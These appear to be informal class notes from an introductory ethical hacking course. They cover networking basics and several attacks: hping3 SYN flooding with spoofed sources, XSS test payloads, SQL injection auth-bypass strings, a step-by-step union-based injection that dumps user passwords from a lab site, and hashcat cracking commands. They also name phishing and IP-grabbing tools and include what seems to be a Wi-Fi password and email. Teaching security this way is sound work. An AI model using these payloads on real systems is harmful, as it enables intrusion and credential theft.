ICCS | Pune

Cyber Security

Cyber : Digital : Internet Connectivity

Website, Laptop, Smart Watch, Mobile, CCTV, WiFi, Cars, Fan etc

Security : To privide protection

----

Ethical : Legal

Hacking : Breaking Locks

--------------

Room (Gold Diamond Cash )

1. CCTV

2. Door Locks

3. Guards

4. Safe

5. Sensor

6. Honeypot

7. Bulletproof Glass

8. Biomet.

www.rekhaBank.com

Username, Password, Balance, PID, Phone etc

1. firewall - ids ips

2. desgn acha kro

3. 2FA

4. https

5. Access COntrol

6. Monitoring

Mobile Security

1.

Hacker : A person who is having good knowledge about computer security

## Types of Hacker :

1. White Hat Hacker : With Permission

Legal

2. Black Hat Hacker : Without Permission

Illegal

3. Grey Hat Hacker :

Sometimes, White, & Sometime Black

--

## Operating System

=================

Phone --> Mic, Camera, Speaker, Touch etc

Android

Ios

Unix

Windows etc

Desktop/Laptop

1990's

Microsoft : Windows : 7, 8, 10, 11

Pay Money : 10,000 INR

Linux : Free

Open Source

CLI

Linux ---> Editng ---> GUI ---> Apple ---> MACBOOK

Linux ---> Editng ---> GUI ---> Apple ---> IOS

Linux ---> Editng ---> GUI ---> Offensive Sec --> Kali Linux

Linux ---> Editng ---> GUI ---> Ubuntu

Linux ---> Editng ---> GUI ---> Google ---> Android

----------------

Task :

India

| | |

Punjab Delhi Maharashtra

| |

Chandigarh Amritsar Mumbai Pune Shirdi

----

## Networking :

Social Network : Multiple people can connect each other

Computer Network -->

## IP Address :

BL AL

192.168.267.98 No/NI No

172.16.168.298 No/NI No

10.0.0.1 Yes/NI Yes

192.168.10.8.45 No No

132.0.6.0 Yes Yes

192.168.324.67 No No

9.0.0.1 Yes Yes

127.0.0.1.34 Yes/No No

156.87.78.76 Yes Yes

1234:1bcd:789a:1bc4:1111:2222:aaaa:1a2b No

1234:1bcd::1bc4:1111::aaaa:1a2b <----- No

1234:1bcd:789a::1111:2222:aaaa:1a2b yes

1234:1bcd:789a:::1111:2222:aaaa:1a2b No

1234:1bcd:789a:0000:0000:2222:aaaa:1a2b yes

1234:1bcd:789a:1:1111:2222:aaaa:1a2b yes

IPv4

=====

IP Address :

A.B.C.D <--- 4 Octet

Length = 32 Bits = Single Octet = 8

Value : 0-255

153.128.0.1

159.9.72.10

172.12.0.128

0.0.0.0

255.255.255.255

4.3 Billion

430 Crore

------------------------------------------

IPv6

=====

8 Octets

A:B:C:D:E:F:G:H

128 Bits

abcd:abcd:abcd:abcd:abcd:abcd:abcd:abcd

Value : a/b/c/d = 0-9 a-f

Example :

1234:2409:4608:26ad:abcd:897f:ffff:3900

2a3b:abcd:4c02:3243:1010:0000:2acc:1f1f

2a3b:abcd:4c02:0000:1010::2acc:1f1f

2a3b:abcd:4c02:3243:0000:0000:2acc:1f1f

2a3b:abcd:4c02:3243::2acc:1f1f

2a3b:abcd:4c02:0000:0000:0000:2acc:1f1f

2a3b:abcd:4c02::2acc:1f1f

2a3b:abcd:4c02::2acc:1f1f

2a3b:abcd:4c02:0000:0000:0000:2acc:1f1f

2a3b:000a:4c02::2acc:1f1f

2a3b:a:4c02::2acc:1f1f

1.2.3.4 1.2.3.4

ISP ------> Modem -)))) ---> D1 D2 D3

Private IP 192.168.10.2

Public IP : This IP is given by ISP

This is Unique on Planet

Google : My IP

---

Private IP

CMD --> Ipconfig

Termnal --> ifconfig

-------------------------

Connected on Same WIFI

Device 1 Device 2 Device 3

Public IP

Private IP

Mobile Data :

============

Device 1 Device 2 Device 3

Public IP

Restart your Devices :

--------------------

securemepersonal@gmail.com

securemepersonal

@gmail.com

SECUREmepersonal@gmail.com

SeCuReM...

sEc...

secureme.personal@gmail.com

secure.me.personal@gmail.com

s.e.c.u.r.e.m....e.p.e.r.s.o.nal@gmail.com

----

https://drive.google.com/drive/folders/1k3rB7TUp\_IeTnUnWMYmE7uCginP5y-Tq?usp=sharing

uni@%!@)(ind

uni@%!@)(ind

------

Day 2 :

## DOS & DDOS Attack

Windows XP - Target Server

192.168.167.131

Hacker Machine : Kali Linux

192.168.167.135

HPING3

#hping3 -c 10000 -d 120 -S -w 64 -p 135 --flood --rand-source www.hping3testsite.com

hping3 = Name of the application binary.

-c 100000 = Number of packets to send.

-d 120 = Size of each packet that was sent to target machine.

-S = I am sending SYN packets only.

-w 64 = TCP window size.

-p 135 = Destination port. You can use any port here.

--flood = Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.

--rand-source = Using Random Source IP Addresses. You can also use -a or –spoof to hide hostnames. See MAN page below.

www.website.com = Destination IP address or target machines IP address.

------------------

Blank Name :

Alt+255

------------------

## Network Scanning :

#nmap

Linux : #netdiscover

Windows : Advanced IP Scanner

Android/IOS : Fing

-----

Linux : #netdiscover

Interface : enp3s0

IP : 172.16.6.244

#sudo netdiscover -i enp3s0 -r 172.16.6.244/24

====================

DOS/DDOS Attack or Jamming/Flood Attack

DNS Protocol

ICMP Protocol

ARP Protocol

ARP Poison Attack

--

## Bitcoin Currency

bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq

bitref.com <-- Check balance in Bitcoin Wallet ID

DNS : Domain Name System

varun 56.98.89.78

jammu 45.78.67.67

rekha 56.12.56.98

aditya 12.98.234.56

hacker 156.98.45.45

janu 99.99.99.99

-----------

ARP Protocol : Address Resolution Protocol

ARP Poison Attack :

Kali Linux ---> Ettercap

IP : 192.168.167.135

DG : 192.168.167.2

Windows OS :

IP : 192.168.167.142

DG : 192.168.167.2

---------------------

IndiraWlan :

uni@%!@)(ind

----------

172.17.19.115

-----------

## Disk Encryption

===============

Palvinder ---> Plain Text

67yHU&YTghU&YH ---> Cipher Text

Rules :

A --> B

B --> C

C --> D

--

--

Palvinder --> Qbmwjoefs

=================================

## Web Application Security

=========================

website : www.abc.com

WA : website + Router + CCTV +

Security Standards : OWASP Top 10 Attacks

1.

2.

3.

--

--

8.

9.

10.

Open Web Application Security Project

## Cross Site Scripting = XSS

Website :

Front End --- User Interface | Public

Back End --- Coding, Database | Developer /Owner

--

Code Changes ---> Back End

Add Code / ---> Back End

Javascript :

<script>window.alert("Hi Aditya");</script>

<h1>Hi welcome to CYber Security</h1>

Step 1: Look for Input Parameter

Places --> Likh skte hai

Search Box,

Username, Password

Comments

Feedback

Contact US

Form

Chat etc

URL

Registration Forms

Step 2: Genuine Testing

Search --> Test -->

Step 3: Put a code :

<script>window.alert("Hi Aditya");</script>

Step 4:

Pop-Up = Yes ---> Website is Vulnerable

Pop-Up = No ---> Website is Safe from this Attack

testphp.vulnweb.com <----

<iframe width="560" height="315" src="https://www.youtube.com/embed/BIHUVKVVQNk?si=RX3\_7oK-9coJ32jh"></iframe>

------------------------------------

XSS --> Code --> Execute

1. No Save : Refelected XSS

search, url, login

2. Save in Database : Stored XSS

Comment, Message, SignUP,

http://testasp.vulnweb.com/

## SQL Injection Attack :

==============

Authentication Bypass

Union Based SQL Injection

Error Based....

--

Authentication Bypass

www.website.com

username : \*\*\*

password : \*\*\*

www.website.com/admin

Full Control

Attacking SQL String :

username : 1'or'1'='1

password : 1'or'1'='1

Universal True SQL String

testphp.vulnweb.com

----

## Union Based SQL Injection

=========================

Requirement :

Technology : PHP

Database : MySQL

testphp.vulnweb.com/

Step 1: Find GET Parameter

testphp.vulnweb.com/.......php?id=1

testphp.vulnweb.com/.......php?name=palvinder

php?hi=bye

php?area=pune

--

--

?anything=anything

Try different link & options in the website

Step 2: Exception Handling = Vulnerable or Not

testphp.vulnweb.com/.......php?id=1'

Any change in the Website :

- Images Corrupted

- Content Missing

- Error SQL

- Blank

Yes, Website is Vulnerable

--

No Change in the Website --> No Vulnerable

Step 3: Count No. of Order/Columns

testphp.vulnweb.com/.......php?id=1' order by 1--+

or

testphp.vulnweb.com/.......php?id=1 order by 1--+

Either of above --> Website will work properly, Continue with that

testphp.vulnweb.com/.......php?id=1' order by 1--+

testphp.vulnweb.com/.......php?id=1' order by 2--+

testphp.vulnweb.com/.......php?id=1' order by 3--+

testphp.vulnweb.com/.......php?id=1' order by 4--+

testphp.vulnweb.com/.......php?id=1' order by 5--+

---

---

testphp.vulnweb.com/.......php?id=1' order by 10--+

testphp.vulnweb.com/.......php?id=1' order by 11--+

testphp.vulnweb.com/.......php?id=1' order by 12--+ <-- Error

No. of Column = 11

Our Case : 4

Step 4: Find Vulnerable Number out of 4

testphp.vulnweb.com/.......php?id=1 union select 1,2,3,4--+

or

testphp.vulnweb.com/.......php?id=-1 union select 1,2,3,4--+

Results :

This will display some numeric values on screen out of (1,2,3,4)

Those will be Vulnerable Columns

Example : 2,3

----

http://172.20.10.2/cat.php?id=-1 union select 1,2,3,4--+

Our Case : 2

----

Step 5: Find name of the Database

Query : database()

http://172.20.10.2/cat.php?id=-1 union select 1,database(),3,4--+

Name of Database : photoblog

Database Name ---> Tables ---> Columns ---> Data

Step 6: Find list of Tables

Query : table\_name

http://172.20.10.2/cat.php?id=-1 union select 1,table\_name,3,4 from information\_schema.tables--+

categories

pictures

users <---

guest

videos

message

-----------------------------------

\*\*\*\*\* | \*\*\*\*\* | \*\*\*\* |

| | |

| | | <-- Users

| | |

| | |

| | |

| | |

| | |

| | |

------------------------------------

Step 7: Get Columns

http://172.20.10.2/cat.php?id=-1 union select 1,column\_name,3,4 from information\_schema.columns where table\_name="users"--+

-----------------------------------

ID | Login | Password|

| | |

| | | <-- Users

| | |

| | |

| | |

| | |

| | |

| | |

------------------------------------

Step 8 : Get Data for Column (Login)

http://172.20.10.2/cat.php?id=-1 union select 1,login,3,4 from users--+

Login = Admin

Step 9 : Get Data for another Columns (Password)

http://172.20.10.2/cat.php?id=-1 union select 1,password,3,4 from users--+

Password :

8efe310f9ab3efeae8d410a8e0166eb2

32 Character

HexaDeci = 0-9 a-f

Hash : MD5

Kali Linux = Hashcat

Google =

Password = P4ssw0rd

----

Step 10 : Cracking the Hash using Kali Linux

#sudo gunzip /usr/share/wordlists/rockyou.txt.gz

#sudo hashcat -m 0 -a 0 /path/of/hashfile.txt /usr/share/wordlists/rockyou.txt

-m = Hash Type (0 - MD5)

-a = Attack Mode (0 - Simple Attack)

-----------------------------------------------

## Phishing Attack & Security

===========================

Kali Linux = Github = PyPhisher

http://www.zomato.com/ <-- Genuine / Fake

Domain Name = zomato.com

www.zoomato.com/ <-- Fake

Domain Name = Zoomato.com <-- Fake

login.hacker.securi1y.zomato.com/ <-- Fake

Domain Name = Genuine

https://zomato.com.login.account.ytfv.com/login.php

Domain Name = ytfv.com <-- Fake

<-- Fake / Pta nahi

https://safety.zomato.customer.login.com/

Doamin Name - login.com <-- Fake

<-- Genuine / Fake / Pta nahi

order.pizza.customer.login.zomato.com/credential

Domain Name = zomato.com

<-- Genuine b ho skta hai / pkka Fake

offer.50%.sunday.breakfast.zomato.com/

Domain Name = Zomato.com <-- Gnuine

<-- Pkkkka Fake

http://drive--google.com/luke.johnson

Domain Name =

http://efax.hosting.com.mailru382.co/efaxdelivery/2017Dk4h325RE3

href="https://drive.google.com.download-photo.sytez.net/AONh1e0hVP"

https://phishingquiz.withgoogle.com/

## Web Tracking

=============

Kali Linux

Centos

Parrot

Red Hat

Ubuntu

tinyurl.com/iccs23cs

-------------------

Web Tracking

============

www.youtube.com

grabify

https://myprivate.pics/image.php?id=J9D7C8.jpg

Link Tracking <-- Link Click

https://iplis.ru/iccs.jpg

-----

## BrutefForce Attack

==================

Hit & Trial Method --> Grab someone's credential

username : abc@gmail.com

Password : \*\*\*\*

abc@gmail.com + 123 <--- 60 Seconds = 1 Min

abc@gmail.com + testing

abc@gmail.com + Admin

abc@gmail.com + Hacker

20000 Minutes = 333 Hours = 13 Days

Manual Method = Failed

Automated Method - Kal Linux = Hydra / BurpSuite

-----------------

0000

0001

0002

--

--

--

9996

9997

9998

9999

No. of attempts should be Limited

-------

## Google Dorks

=============

Google : Free Download PPT on Network Security Online

URL ----> inurl:iccs

TITLE ----> intitle:iccs

TEXT ----> intext:iccs

Google : Free Download PPT on Network Security Online

filetype:ppt Network Security

indexof:/movie/ intercepter